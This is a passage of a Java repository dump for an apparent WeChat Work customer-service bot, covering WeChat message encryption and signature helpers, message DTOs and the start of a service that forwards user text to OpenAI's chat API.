9 | byte[] bytes = new byte[byteContainer.size()];
10 | for (int i = 0; i < byteContainer.size(); i++) {
11 | bytes[i] = byteContainer.get(i);
12 | }
13 | return bytes;
14 | }
15 |
16 | public ByteGroup addBytes(byte[] bytes) {
17 | for (byte b : bytes) {
18 | byteContainer.add(b);
19 | }
20 | return this;
21 | }
22 |
23 | public int size() {
24 | return byteContainer.size();
25 | }
26 | }
27 |
--------------------------------------------------------------------------------
/src/main/java/com/longbig/multifunction/model/wechat/aes/PKCS7Encoder.java:
--------------------------------------------------------------------------------
1 | package com.longbig.multifunction.model.wechat.aes;
2 |
3 |
4 | import java.nio.charset.Charset;
5 | import java.util.Arrays;
6 |
7 | /**
8 | * 提供基于PKCS7算法的加解密接口.
9 | */
10 | public class PKCS7Encoder {
11 | static Charset CHARSET = Charset.forName("utf-8");
12 | static int BLOCK_SIZE = 32;
13 |
14 | /**
15 | * 获得对明文进行补位填充的字节.
16 | *
17 | * @param count 需要进行填充补位操作的明文字节个数
18 | * @return 补齐用的字节数组
19 | */
20 | static byte[] encode(int count) {
21 | // 计算需要填充的位数
22 | int amountToPad = BLOCK_SIZE - (count % BLOCK_SIZE);
23 | if (amountToPad == 0) {
24 | amountToPad = BLOCK_SIZE;
25 | }
26 | // 获得补位所用的字符
27 | char padChr = chr(amountToPad);
28 | String tmp = new String();
29 | for (int index = 0; index < amountToPad; index++) {
30 | tmp += padChr;
31 | }
32 | return tmp.getBytes(CHARSET);
33 | }
34 |
35 | /**
36 | * 删除解密后明文的补位字符
37 | *
38 | * @param decrypted 解密后的明文
39 | * @return 删除补位字符后的明文
40 | */
41 | static byte[] decode(byte[] decrypted) {
42 | int pad = (int) decrypted[decrypted.length - 1];
43 | if (pad < 1 || pad > 32) {
44 | pad = 0;
45 | }
46 | return Arrays.copyOfRange(decrypted, 0, decrypted.length - pad);
47 | }
48 |
49 | /**
50 | * 将数字转化成ASCII码对应的字符,用于对明文进行补码
51 | *
52 | * @param a 需要转化的数字
53 | * @return 转化得到的字符
54 | */
55 | static char chr(int a) {
56 | byte target = (byte) (a & 0xFF);
57 | return (char) target;
58 | }
59 |
60 | }
61 |
--------------------------------------------------------------------------------
/src/main/java/com/longbig/multifunction/model/wechat/aes/SHA1.java:
--------------------------------------------------------------------------------
1 |
2 | package com.longbig.multifunction.model.wechat.aes;
3 |
4 |
5 | import java.security.MessageDigest;
6 | import java.util.Arrays;
7 |
8 | /**
9 | * SHA1 class
10 | *
11 | * 计算消息签名接口.
12 | */
13 | public class SHA1 {
14 |
15 | /**
16 | * 用SHA1算法生成安全签名
17 | * @param token 票据
18 | * @param timestamp 时间戳
19 | * @param nonce 随机字符串
20 | * @param encrypt 密文
21 | * @return 安全签名
22 | * @throws AesException
23 | */
24 | public static String getSHA1(String token, String timestamp, String nonce, String encrypt) throws AesException
25 | {
26 | try {
27 | String[] array = new String[] { token, timestamp, nonce, encrypt };
28 | StringBuffer sb = new StringBuffer();
29 | // 字符串排序
30 | Arrays.sort(array);
31 | for (int i = 0; i < 4; i++) {
32 | sb.append(array[i]);
33 | }
34 | String str = sb.toString();
35 | // SHA1签名生成
36 | MessageDigest md = MessageDigest.getInstance("SHA-1");
37 | md.update(str.getBytes());
38 | byte[] digest = md.digest();
39 |
40 | StringBuffer hexstr = new StringBuffer();
41 | String shaHex = "";
42 | for (int i = 0; i < digest.length; i++) {
43 | shaHex = Integer.toHexString(digest[i] & 0xFF);
44 | if (shaHex.length() < 2) {
45 | hexstr.append(0);
46 | }
47 | hexstr.append(shaHex);
48 | }
49 | return hexstr.toString();
50 | } catch (Exception e) {
51 | e.printStackTrace();
52 | throw new AesException(AesException.ComputeSignatureError);
53 | }
54 | }
55 | }
56 |
--------------------------------------------------------------------------------
/src/main/java/com/longbig/multifunction/model/wechat/aes/WXBizMsgCrypt.java:
--------------------------------------------------------------------------------
1 | package com.longbig.multifunction.model.wechat.aes;
2 |
3 |
4 | import org.apache.commons.codec.binary.Base64;
5 |
6 | import javax.crypto.Cipher;
7 | import javax.crypto.spec.IvParameterSpec;
8 | import javax.crypto.spec.SecretKeySpec;
9 | import java.nio.charset.Charset;
10 | import java.util.Arrays;
11 | import java.util.Random;
12 |
13 | /**
14 | * 提供接收和推送给企业微信消息的加解密接口(UTF8编码的字符串).
15 | *
16 | * - 第三方回复加密消息给企业微信
17 | * - 第三方收到企业微信发送的消息,验证消息的安全性,并对消息进行解密。
18 | *
19 | * 说明:异常java.security.InvalidKeyException:illegal Key Size的解决方案
20 | *
21 | * - 在官方网站下载JCE无限制权限策略文件(JDK7的下载地址:
22 | * http://www.oracle.com/technetwork/java/javase/downloads/jce-7-download-432124.html
23 | * - 下载后解压,可以看到local_policy.jar和US_export_policy.jar以及readme.txt
24 | * - 如果安装了JRE,将两个jar文件放到%JRE_HOME%\lib\security目录下覆盖原来的文件
25 | * - 如果安装了JDK,将两个jar文件放到%JDK_HOME%\jre\lib\security目录下覆盖原来文件
26 | *
27 | */
28 | public class WXBizMsgCrypt {
29 | static Charset CHARSET = Charset.forName("utf-8");
30 | Base64 base64 = new Base64();
31 | byte[] aesKey;
32 | String token;
33 | String receiveid;
34 |
35 | /**
36 | * 构造函数
37 | * @param token 企业微信后台,开发者设置的token
38 | * @param encodingAesKey 企业微信后台,开发者设置的EncodingAESKey
39 | * @param receiveid, 不同场景含义不同,详见文档
40 | *
41 | * @throws AesException 执行失败,请查看该异常的错误码和具体的错误信息
42 | */
43 | public WXBizMsgCrypt(String token, String encodingAesKey, String receiveid) throws AesException {
44 | if (encodingAesKey.length() != 43) {
45 | throw new AesException(AesException.IllegalAesKey);
46 | }
47 |
48 | this.token = token;
49 | this.receiveid = receiveid;
50 | aesKey = Base64.decodeBase64(encodingAesKey + "=");
51 | }
52 |
53 | // 生成4个字节的网络字节序
54 | byte[] getNetworkBytesOrder(int sourceNumber) {
55 | byte[] orderBytes = new byte[4];
56 | orderBytes[3] = (byte) (sourceNumber & 0xFF);
57 | orderBytes[2] = (byte) (sourceNumber >> 8 & 0xFF);
58 | orderBytes[1] = (byte) (sourceNumber >> 16 & 0xFF);
59 | orderBytes[0] = (byte) (sourceNumber >> 24 & 0xFF);
60 | return orderBytes;
61 | }
62 |
63 | // 还原4个字节的网络字节序
64 | int recoverNetworkBytesOrder(byte[] orderBytes) {
65 | int sourceNumber = 0;
66 | for (int i = 0; i < 4; i++) {
67 | sourceNumber <<= 8;
68 | sourceNumber |= orderBytes[i] & 0xff;
69 | }
70 | return sourceNumber;
71 | }
72 |
73 | // 随机生成16位字符串
74 | String getRandomStr() {
75 | String base = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
76 | Random random = new Random();
77 | StringBuffer sb = new StringBuffer();
78 | for (int i = 0; i < 16; i++) {
79 | int number = random.nextInt(base.length());
80 | sb.append(base.charAt(number));
81 | }
82 | return sb.toString();
83 | }
84 |
85 | /**
86 | * 对明文进行加密.
87 | *
88 | * @param text 需要加密的明文
89 | * @return 加密后base64编码的字符串
90 | * @throws AesException aes加密失败
91 | */
92 | public String encrypt(String randomStr, String text) throws AesException {
93 | ByteGroup byteCollector = new ByteGroup();
94 | byte[] randomStrBytes = randomStr.getBytes(CHARSET);
95 | byte[] textBytes = text.getBytes(CHARSET);
96 | byte[] networkBytesOrder = getNetworkBytesOrder(textBytes.length);
97 | byte[] receiveidBytes = receiveid.getBytes(CHARSET);
98 |
99 | // randomStr + networkBytesOrder + text + receiveid
100 | byteCollector.addBytes(randomStrBytes);
101 | byteCollector.addBytes(networkBytesOrder);
102 | byteCollector.addBytes(textBytes);
103 | byteCollector.addBytes(receiveidBytes);
104 |
105 | // ... + pad: 使用自定义的填充方式对明文进行补位填充
106 | byte[] padBytes = PKCS7Encoder.encode(byteCollector.size());
107 | byteCollector.addBytes(padBytes);
108 |
109 | // 获得最终的字节流, 未加密
110 | byte[] unencrypted = byteCollector.toBytes();
111 |
112 | try {
113 | // 设置加密模式为AES的CBC模式
114 | Cipher cipher = Cipher.getInstance("AES/CBC/NoPadding");
115 | SecretKeySpec keySpec = new SecretKeySpec(aesKey, "AES");
116 | IvParameterSpec iv = new IvParameterSpec(aesKey, 0, 16);
117 | cipher.init(Cipher.ENCRYPT_MODE, keySpec, iv);
118 |
119 | // 加密
120 | byte[] encrypted = cipher.doFinal(unencrypted);
121 |
122 | // 使用BASE64对加密后的字符串进行编码
123 | String base64Encrypted = base64.encodeToString(encrypted);
124 |
125 | return base64Encrypted;
126 | } catch (Exception e) {
127 | e.printStackTrace();
128 | throw new AesException(AesException.EncryptAESError);
129 | }
130 | }
131 |
132 | /**
133 | * 对密文进行解密.
134 | *
135 | * @param text 需要解密的密文
136 | * @return 解密得到的明文
137 | * @throws AesException aes解密失败
138 | */
139 | public String decrypt(String text) throws AesException {
140 | byte[] original;
141 | try {
142 | // 设置解密模式为AES的CBC模式
143 | Cipher cipher = Cipher.getInstance("AES/CBC/NoPadding");
144 | SecretKeySpec key_spec = new SecretKeySpec(aesKey, "AES");
145 | IvParameterSpec iv = new IvParameterSpec(Arrays.copyOfRange(aesKey, 0, 16));
146 | cipher.init(Cipher.DECRYPT_MODE, key_spec, iv);
147 |
148 | // 使用BASE64对密文进行解码
149 | byte[] encrypted = Base64.decodeBase64(text);
150 |
151 | // 解密
152 | original = cipher.doFinal(encrypted);
153 | } catch (Exception e) {
154 | e.printStackTrace();
155 | throw new AesException(AesException.DecryptAESError);
156 | }
157 |
158 | String xmlContent, from_receiveid;
159 | try {
160 | // 去除补位字符
161 | byte[] bytes = PKCS7Encoder.decode(original);
162 |
163 | // 分离16位随机字符串,网络字节序和receiveid
164 | byte[] networkOrder = Arrays.copyOfRange(bytes, 16, 20);
165 |
166 | int xmlLength = recoverNetworkBytesOrder(networkOrder);
167 |
168 | xmlContent = new String(Arrays.copyOfRange(bytes, 20, 20 + xmlLength), CHARSET);
169 | from_receiveid = new String(Arrays.copyOfRange(bytes, 20 + xmlLength, bytes.length),
170 | CHARSET);
171 | } catch (Exception e) {
172 | e.printStackTrace();
173 | throw new AesException(AesException.IllegalBuffer);
174 | }
175 |
176 | // receiveid不相同的情况
177 | if (!from_receiveid.equals(receiveid)) {
178 | throw new AesException(AesException.ValidateCorpidError);
179 | }
180 | return xmlContent;
181 |
182 | }
183 |
184 | /**
185 | * 将企业微信回复用户的消息加密打包.
186 | *
187 | * - 对要发送的消息进行AES-CBC加密
188 | * - 生成安全签名
189 | * - 将消息密文和安全签名打包成xml格式
190 | *
191 | *
192 | * @param replyMsg 企业微信待回复用户的消息,xml格式的字符串
193 | * @param timeStamp 时间戳,可以自己生成,也可以用URL参数的timestamp
194 | * @param nonce 随机串,可以自己生成,也可以用URL参数的nonce
195 | *
196 | * @return 加密后的可以直接回复用户的密文,包括msg_signature, timestamp, nonce, encrypt的xml格式的字符串
197 | * @throws AesException 执行失败,请查看该异常的错误码和具体的错误信息
198 | */
199 | public String EncryptMsg(String replyMsg, String timeStamp, String nonce) throws AesException {
200 | // 加密
201 | String encrypt = encrypt(getRandomStr(), replyMsg);
202 |
203 | // 生成安全签名
204 | if (timeStamp == "") {
205 | timeStamp = Long.toString(System.currentTimeMillis());
206 | }
207 |
208 | String signature = SHA1.getSHA1(token, timeStamp, nonce, encrypt);
209 |
210 | // System.out.println("发送给平台的签名是: " + signature[1].toString());
211 | // 生成发送的xml
212 | String result = XMLParse.generate(encrypt, signature, timeStamp, nonce);
213 | return result;
214 | }
215 |
216 | /**
217 | * 检验消息的真实性,并且获取解密后的明文.
218 | *
219 | * - 利用收到的密文生成安全签名,进行签名验证
220 | * - 若验证通过,则提取xml中的加密消息
221 | * - 对消息进行解密
222 | *
223 | *
224 | * @param msgSignature 签名串,对应URL参数的msg_signature
225 | * @param timeStamp 时间戳,对应URL参数的timestamp
226 | * @param nonce 随机串,对应URL参数的nonce
227 | * @param postData 密文,对应POST请求的数据
228 | *
229 | * @return 解密后的原文
230 | * @throws AesException 执行失败,请查看该异常的错误码和具体的错误信息
231 | */
232 | public String DecryptMsg(String msgSignature, String timeStamp, String nonce, String postData)
233 | throws AesException {
234 |
235 | // 密钥,公众账号的app secret
236 | // 提取密文
237 | Object[] encrypt = XMLParse.extract(postData);
238 |
239 | // 验证安全签名
240 | String signature = SHA1.getSHA1(token, timeStamp, nonce, encrypt[1].toString());
241 |
242 | // 和URL中的签名比较是否相等
243 | // System.out.println("第三方收到URL中的签名:" + msg_sign);
244 | // System.out.println("第三方校验签名:" + signature);
245 | if (!signature.equals(msgSignature)) {
246 | throw new AesException(AesException.ValidateSignatureError);
247 | }
248 |
249 | // 解密
250 | String result = decrypt(encrypt[1].toString());
251 | return result;
252 | }
253 |
254 | /**
255 | * 验证URL
256 | * @param msgSignature 签名串,对应URL参数的msg_signature
257 | * @param timeStamp 时间戳,对应URL参数的timestamp
258 | * @param nonce 随机串,对应URL参数的nonce
259 | * @param echoStr 随机串,对应URL参数的echostr
260 | *
261 | * @return 解密之后的echostr
262 | * @throws AesException 执行失败,请查看该异常的错误码和具体的错误信息
263 | */
264 | public String VerifyURL(String msgSignature, String timeStamp, String nonce, String echoStr)
265 | throws AesException {
266 | String signature = SHA1.getSHA1(token, timeStamp, nonce, echoStr);
267 |
268 | if (!signature.equals(msgSignature)) {
269 | throw new AesException(AesException.ValidateSignatureError);
270 | }
271 |
272 | String result = decrypt(echoStr);
273 | return result;
274 | }
275 |
276 | }
--------------------------------------------------------------------------------
/src/main/java/com/longbig/multifunction/model/wechat/aes/XMLParse.java:
--------------------------------------------------------------------------------
1 | package com.longbig.multifunction.model.wechat.aes;
2 |
3 |
4 | import org.w3c.dom.Document;
5 | import org.w3c.dom.Element;
6 | import org.w3c.dom.NodeList;
7 | import org.xml.sax.InputSource;
8 |
9 | import javax.xml.parsers.DocumentBuilder;
10 | import javax.xml.parsers.DocumentBuilderFactory;
11 | import java.io.StringReader;
12 |
13 | /**
14 | * XMLParse class
15 | *
16 | * 提供提取消息格式中的密文及生成回复消息格式的接口.
17 | */
18 | public class XMLParse {
19 |
20 | /**
21 | * 提取出xml数据包中的加密消息
22 | * @param xmltext 待提取的xml字符串
23 | * @return 提取出的加密消息字符串
24 | * @throws AesException
25 | */
26 | public static Object[] extract(String xmltext) throws AesException {
27 | Object[] result = new Object[3];
28 | try {
29 | DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
30 |
31 | String FEATURE = null;
32 | // This is the PRIMARY defense. If DTDs (doctypes) are disallowed, almost all XML entity attacks are prevented
33 | // Xerces 2 only - http://xerces.apache.org/xerces2-j/features.html#disallow-doctype-decl
34 | FEATURE = "http://apache.org/xml/features/disallow-doctype-decl";
35 | dbf.setFeature(FEATURE, true);
36 |
37 | // If you can't completely disable DTDs, then at least do the following:
38 | // Xerces 1 - http://xerces.apache.org/xerces-j/features.html#external-general-entities
39 | // Xerces 2 - http://xerces.apache.org/xerces2-j/features.html#external-general-entities
40 | // JDK7+ - http://xml.org/sax/features/external-general-entities
41 | FEATURE = "http://xml.org/sax/features/external-general-entities";
42 | dbf.setFeature(FEATURE, false);
43 |
44 | // Xerces 1 - http://xerces.apache.org/xerces-j/features.html#external-parameter-entities
45 | // Xerces 2 - http://xerces.apache.org/xerces2-j/features.html#external-parameter-entities
46 | // JDK7+ - http://xml.org/sax/features/external-parameter-entities
47 | FEATURE = "http://xml.org/sax/features/external-parameter-entities";
48 | dbf.setFeature(FEATURE, false);
49 |
50 | // Disable external DTDs as well
51 | FEATURE = "http://apache.org/xml/features/nonvalidating/load-external-dtd";
52 | dbf.setFeature(FEATURE, false);
53 |
54 | // and these as well, per Timothy Morgan's 2014 paper: "XML Schema, DTD, and Entity Attacks"
55 | dbf.setXIncludeAware(false);
56 | dbf.setExpandEntityReferences(false);
57 |
58 | // And, per Timothy Morgan: "If for some reason support for inline DOCTYPEs are a requirement, then
59 | // ensure the entity settings are disabled (as shown above) and beware that SSRF attacks
60 | // (http://cwe.mitre.org/data/definitions/918.html) and denial
61 | // of service attacks (such as billion laughs or decompression bombs via "jar:") are a risk."
62 |
63 | // remaining parser logic
64 | DocumentBuilder db = dbf.newDocumentBuilder();
65 | StringReader sr = new StringReader(xmltext);
66 | InputSource is = new InputSource(sr);
67 | Document document = db.parse(is);
68 |
69 | Element root = document.getDocumentElement();
70 | NodeList nodelist1 = root.getElementsByTagName("Encrypt");
71 | result[0] = 0;
72 | result[1] = nodelist1.item(0).getTextContent();
73 | return result;
74 | } catch (Exception e) {
75 | e.printStackTrace();
76 | throw new AesException(AesException.ParseXmlError);
77 | }
78 | }
79 |
80 | /**
81 | * 生成xml消息
82 | * @param encrypt 加密后的消息密文
83 | * @param signature 安全签名
84 | * @param timestamp 时间戳
85 | * @param nonce 随机字符串
86 | * @return 生成的xml字符串
87 | */
88 | public static String generate(String encrypt, String signature, String timestamp, String nonce) {
89 |
90 | String format = "\n" + "\n"
91 | + "\n"
92 | + "%3$s\n" + "\n" + "";
93 | return String.format(format, encrypt, signature, timestamp, nonce);
94 |
95 | }
96 | }
97 |
--------------------------------------------------------------------------------
/src/main/java/com/longbig/multifunction/model/wechat/kf/KefuDataDTO.java:
--------------------------------------------------------------------------------
1 | package com.longbig.multifunction.model.wechat.kf;
2 |
3 | import lombok.ToString;
4 |
5 | import java.util.List;
6 |
7 | /**
8 | * @author yuyunlong
9 | * @date 2023/6/3 21:48
10 | * @description 微信客服读取接收消息文档:https://developer.work.weixin.qq.com/document/path/94670
11 | */
12 | @ToString
13 | public class KefuDataDTO {
14 | private Integer errcode;
15 | private String errmsg;
16 | private String next_cursor;
17 | private Integer has_more;
18 | private List msg_list;
19 |
20 | public Integer getErrcode() {
21 | return errcode;
22 | }
23 |
24 | public void setErrcode(Integer errcode) {
25 | this.errcode = errcode;
26 | }
27 |
28 | public String getErrmsg() {
29 | return errmsg;
30 | }
31 |
32 | public void setErrmsg(String errmsg) {
33 | this.errmsg = errmsg;
34 | }
35 |
36 | public String getNext_cursor() {
37 | return next_cursor;
38 | }
39 |
40 | public void setNext_cursor(String next_cursor) {
41 | this.next_cursor = next_cursor;
42 | }
43 |
44 | public Integer getHas_more() {
45 | return has_more;
46 | }
47 |
48 | public void setHas_more(Integer has_more) {
49 | this.has_more = has_more;
50 | }
51 |
52 | public List getMsg_list() {
53 | return msg_list;
54 | }
55 |
56 | public void setMsg_list(List msg_list) {
57 | this.msg_list = msg_list;
58 | }
59 | }
60 |
--------------------------------------------------------------------------------
/src/main/java/com/longbig/multifunction/model/wechat/kf/KefuDataMsgDTO.java:
--------------------------------------------------------------------------------
1 | package com.longbig.multifunction.model.wechat.kf;
2 |
3 | import lombok.ToString;
4 |
5 | /**
6 | * @author yuyunlong
7 | * @date 2023/6/3 21:50
8 | * @description
9 | */
10 | @ToString
11 | public class KefuDataMsgDTO {
12 | /**
13 | * 字段文档:https://developer.work.weixin.qq.com/document/path/94670
14 | */
15 | private String msgid;
16 | private String open_kfid;
17 | private String external_userid;
18 | private Long send_time;
19 | private Integer origin;
20 | private String servicer_userid;
21 | private String msgtype;
22 | private KefuTextDTO text;
23 |
24 | public String getMsgid() {
25 | return msgid;
26 | }
27 |
28 | public void setMsgid(String msgid) {
29 | this.msgid = msgid;
30 | }
31 |
32 | public String getOpen_kfid() {
33 | return open_kfid;
34 | }
35 |
36 | public void setOpen_kfid(String open_kfid) {
37 | this.open_kfid = open_kfid;
38 | }
39 |
40 | public String getExternal_userid() {
41 | return external_userid;
42 | }
43 |
44 | public void setExternal_userid(String external_userid) {
45 | this.external_userid = external_userid;
46 | }
47 |
48 | public Long getSend_time() {
49 | return send_time;
50 | }
51 |
52 | public void setSend_time(Long send_time) {
53 | this.send_time = send_time;
54 | }
55 |
56 | public Integer getOrigin() {
57 | return origin;
58 | }
59 |
60 | public void setOrigin(Integer origin) {
61 | this.origin = origin;
62 | }
63 |
64 | public String getServicer_userid() {
65 | return servicer_userid;
66 | }
67 |
68 | public void setServicer_userid(String servicer_userid) {
69 | this.servicer_userid = servicer_userid;
70 | }
71 |
72 | public String getMsgtype() {
73 | return msgtype;
74 | }
75 |
76 | public void setMsgtype(String msgtype) {
77 | this.msgtype = msgtype;
78 | }
79 |
80 | public KefuTextDTO getText() {
81 | return text;
82 | }
83 |
84 | public void setText(KefuTextDTO text) {
85 | this.text = text;
86 | }
87 | }
88 |
--------------------------------------------------------------------------------
/src/main/java/com/longbig/multifunction/model/wechat/kf/KefuHandleDTO.java:
--------------------------------------------------------------------------------
1 | package com.longbig.multifunction.model.wechat.kf;
2 |
3 | import lombok.ToString;
4 |
5 | /**
6 | * @author yuyunlong
7 | * @date 2023/6/4 00:23
8 | * @description
9 | */
10 | @ToString
11 | public class KefuHandleDTO {
12 | private String data;
13 | private String fromUser;
14 | private String openKfid;
15 | private String chatGptData;
16 |
17 | public String getData() {
18 | return data;
19 | }
20 |
21 | public void setData(String data) {
22 | this.data = data;
23 | }
24 |
25 | public String getFromUser() {
26 | return fromUser;
27 | }
28 |
29 | public void setFromUser(String fromUser) {
30 | this.fromUser = fromUser;
31 | }
32 |
33 | public String getOpenKfid() {
34 | return openKfid;
35 | }
36 |
37 | public void setOpenKfid(String openKfid) {
38 | this.openKfid = openKfid;
39 | }
40 |
41 | public String getChatGptData() {
42 | return chatGptData;
43 | }
44 |
45 | public void setChatGptData(String chatGptData) {
46 | this.chatGptData = chatGptData;
47 | }
48 | }
49 |
--------------------------------------------------------------------------------
/src/main/java/com/longbig/multifunction/model/wechat/kf/KefuNoticeDTO.java:
--------------------------------------------------------------------------------
1 | package com.longbig.multifunction.model.wechat.kf;
2 |
3 | import lombok.ToString;
4 |
5 | /**
6 | * @author yuyunlong
7 | * @date 2023/6/3 20:58
8 | * @description 微信客服接收消息触发的xml data
9 | */
10 | @ToString
11 | public class KefuNoticeDTO {
12 | private String ToUserName;
13 | private String CreateTime;
14 | private String MsgType;
15 | private String Event;
16 | private String Token;
17 | private String OpenKfId;
18 |
19 | public String getToUserName() {
20 | return ToUserName;
21 | }
22 |
23 | public void setToUserName(String toUserName) {
24 | ToUserName = toUserName;
25 | }
26 |
27 | public String getCreateTime() {
28 | return CreateTime;
29 | }
30 |
31 | public void setCreateTime(String createTime) {
32 | CreateTime = createTime;
33 | }
34 |
35 | public String getMsgType() {
36 | return MsgType;
37 | }
38 |
39 | public void setMsgType(String msgType) {
40 | MsgType = msgType;
41 | }
42 |
43 | public String getEvent() {
44 | return Event;
45 | }
46 |
47 | public void setEvent(String event) {
48 | Event = event;
49 | }
50 |
51 | public String getToken() {
52 | return Token;
53 | }
54 |
55 | public void setToken(String token) {
56 | Token = token;
57 | }
58 |
59 | public String getOpenKfId() {
60 | return OpenKfId;
61 | }
62 |
63 | public void setOpenKfId(String openKfId) {
64 | OpenKfId = openKfId;
65 | }
66 | }
67 |
--------------------------------------------------------------------------------
/src/main/java/com/longbig/multifunction/model/wechat/kf/KefuSendTextDTO.java:
--------------------------------------------------------------------------------
1 | package com.longbig.multifunction.model.wechat.kf;
2 |
3 | import lombok.ToString;
4 |
5 | /**
6 | * @author yuyunlong
7 | * @date 2023/6/4 00:31
8 | * @description 字段说明:https://developer.work.weixin.qq.com/document/path/94677#%E6%96%87%E6%9C%AC%E6%B6%88%E6%81%AF
9 | */
10 | @ToString
11 | public class KefuSendTextDTO {
12 | /**
13 | * 字段文档:https://developer.work.weixin.qq.com/document/path/94677#文本消息
14 | */
15 | private String touser;
16 | private String open_kfid;
17 | private String msgid;
18 | private String msgtype = "text";
19 | private TextContentDTO text;
20 |
21 | public String getTouser() {
22 | return touser;
23 | }
24 |
25 | public void setTouser(String touser) {
26 | this.touser = touser;
27 | }
28 |
29 | public String getOpen_kfid() {
30 | return open_kfid;
31 | }
32 |
33 | public void setOpen_kfid(String open_kfid) {
34 | this.open_kfid = open_kfid;
35 | }
36 |
37 | public String getMsgid() {
38 | return msgid;
39 | }
40 |
41 | public void setMsgid(String msgid) {
42 | this.msgid = msgid;
43 | }
44 |
45 | public String getMsgtype() {
46 | return msgtype;
47 | }
48 |
49 | public void setMsgtype(String msgtype) {
50 | this.msgtype = msgtype;
51 | }
52 |
53 | public TextContentDTO getText() {
54 | return text;
55 | }
56 |
57 | public void setText(TextContentDTO text) {
58 | this.text = text;
59 | }
60 | }
61 |
--------------------------------------------------------------------------------
/src/main/java/com/longbig/multifunction/model/wechat/kf/KefuTextDTO.java:
--------------------------------------------------------------------------------
1 | package com.longbig.multifunction.model.wechat.kf;
2 |
3 | import lombok.ToString;
4 |
5 | /**
6 | * @author yuyunlong
7 | * @date 2023/6/4 00:02
8 | * @description
9 | */
10 | @ToString
11 | public class KefuTextDTO {
12 | private String content;
13 | private String menu_id;
14 |
15 | public String getContent() {
16 | return content;
17 | }
18 |
19 | public void setContent(String content) {
20 | this.content = content;
21 | }
22 |
23 | public String getMenu_id() {
24 | return menu_id;
25 | }
26 |
27 | public void setMenu_id(String menu_id) {
28 | this.menu_id = menu_id;
29 | }
30 | }
31 |
--------------------------------------------------------------------------------
/src/main/java/com/longbig/multifunction/model/wechat/kf/TextContentDTO.java:
--------------------------------------------------------------------------------
1 | package com.longbig.multifunction.model.wechat.kf;
2 |
3 | import lombok.ToString;
4 |
5 | /**
6 | * @author yuyunlong
7 | * @date 2023/6/4 00:32
8 | * @description
9 | */
10 | @ToString
11 | public class TextContentDTO {
12 | private String content;
13 |
14 | public String getContent() {
15 | return content;
16 | }
17 |
18 | public void setContent(String content) {
19 | this.content = content;
20 | }
21 | }
22 |
--------------------------------------------------------------------------------
/src/main/java/com/longbig/multifunction/service/ChatGptService.java:
--------------------------------------------------------------------------------
1 | package com.longbig.multifunction.service;
2 |
3 | import com.alibaba.fastjson.JSON;
4 | import com.alibaba.fastjson.JSONArray;
5 | import com.alibaba.fastjson.JSONObject;
6 | import com.google.common.collect.Lists;
7 | import com.google.common.collect.Maps;
8 | import com.longbig.multifunction.config.BaseConfig;
9 | import com.longbig.multifunction.model.chatgpt.GptMessageDto;
10 | import com.longbig.multifunction.utils.CacheHelper;
11 | import com.longbig.multifunction.utils.OkHttpUtils;
12 | import lombok.extern.slf4j.Slf4j;
13 | import okhttp3.MediaType;
14 | import okhttp3.RequestBody;
15 | import org.apache.commons.lang3.StringUtils;
16 | import org.springframework.beans.factory.annotation.Autowired;
17 | import org.springframework.stereotype.Service;
18 |
19 | import java.util.List;
20 | import java.util.Map;
21 | import java.util.Objects;
22 |
23 | /**
24 | * @author yuyunlong
25 | * @date 2023/2/12 6:53 下午
26 | * @description
27 | */
28 | @Service
29 | @Slf4j
30 | public class ChatGptService {
31 |
32 | @Autowired
33 | private BaseConfig baseConfig;
34 |
35 | /**
36 | * openai complete功能
37 | * 接口文档:https://platform.openai.com/docs/api-reference/completions/create
38 | *
39 | * @return
40 | */
41 | public String openAiComplete(String text) throws Exception {
42 | log.info("调用GPT3模型对话,text:{}", text);
43 | Map header = Maps.newHashMap();
44 | String drawUrl = "https://api.openai.com/v1/completions";
45 | String cookie = "";
46 | header.put("Authorization", "Bearer " + baseConfig.getChatGptApiKey());
47 | Map body = Maps.newHashMap();
48 | body.put("model", "text-davinci-003");
49 | body.put("prompt", text);
50 | body.put("max_tokens", 1024);
51 | body.put("temperature", 1);
52 | MediaType JSON1 = MediaType.parse("application/json;charset=utf-8");
53 | RequestBody requestBody = RequestBody.create(JSON1, JSON.toJSONString(body));
54 |
55 | String response = OkHttpUtils.post(drawUrl, cookie, requestBody, header);
56 | if (StringUtils.isBlank(response)) {
57 | return "访问超时";
58 | }
59 | JSONObject jsonObject = JSONObject.parseObject(response);
60 | JSONArray jsonArray = jsonObject.getJSONArray("choices");
61 | JSONObject jsonObject1 = (JSONObject) jsonArray.get(0);
62 | String result = (String) jsonObject1.get("text");
63 | log.info("openAiComplete result:{}", result);
64 | return result;
65 | }
66 |
67 | /**
68 | * openai GPT 3.5 complete功能
69 | * 接口文档:https://platform.openai.com/docs/api-reference/completions/create
70 | *
71 | * @return
72 | */
73 | public String gptNewComplete(String text, String fromUser) {
74 | Map header = Maps.newHashMap();
75 | String drawUrl = "https://api.openai.com/v1/chat/completions";
76 | String cookie = "";
77 | header.put("Authorization", "Bearer " + baseConfig.getChatGptApiKey());
78 | Map body = Maps.newHashMap();
79 | List msgs = Lists.newArrayList();
80 | if (CacheHelper.getUserChatFlowSwitch(fromUser)) {
81 | msgs = CacheHelper.getGptCache(fromUser);
82 | }
83 | GptMessageDto gptMessageDto = new GptMessageDto();
84 | gptMessageDto.setRole("user");
85 | gptMessageDto.setContent(text);
86 | msgs.add(gptMessageDto);
87 | if (CacheHelper.getUserChatGpt4Switch(fromUser)) {
88 | body.put("model", "gpt-4");
89 | log.info("调用GPT4模型对话,text:{}", text);
90 | } else {
91 | body.put("model", "gpt-3.5-turbo");
92 | log.info("调用GPT3.5模型对话,text:{}", text);
93 | }
94 | body.put("messages", msgs);
95 | body.put("temperature", 1);
96 | MediaType JSON1 = MediaType.parse("application/json;charset=utf-8");
97 | RequestBody requestBody = RequestBody.create(JSON1, JSON.toJSONString(body));
98 |
99 | String response = null;
100 | try {
101 | response = OkHttpUtils.post(drawUrl, cookie, requestBody, header);
102 | } catch (Exception e) {
103 | return "访问超时";
104 | }
105 |
106 | if (StringUtils.isBlank(response)) {
107 | return "访问超时";
108 | }
109 | JSONObject jsonObject = JSONObject.parseObject(response);
110 | JSONObject errorJsonObject = (JSONObject) jsonObject.get("error");
111 | if (Objects.nonNull(errorJsonObject)) {
112 | String errorMsg = (String) errorJsonObject.get("message");
113 | return errorMsg;
114 | }
115 | JSONArray jsonArray = jsonObject.getJSONArray("choices");
116 | JSONObject jsonObject1 = (JSONObject) jsonArray.get(0);
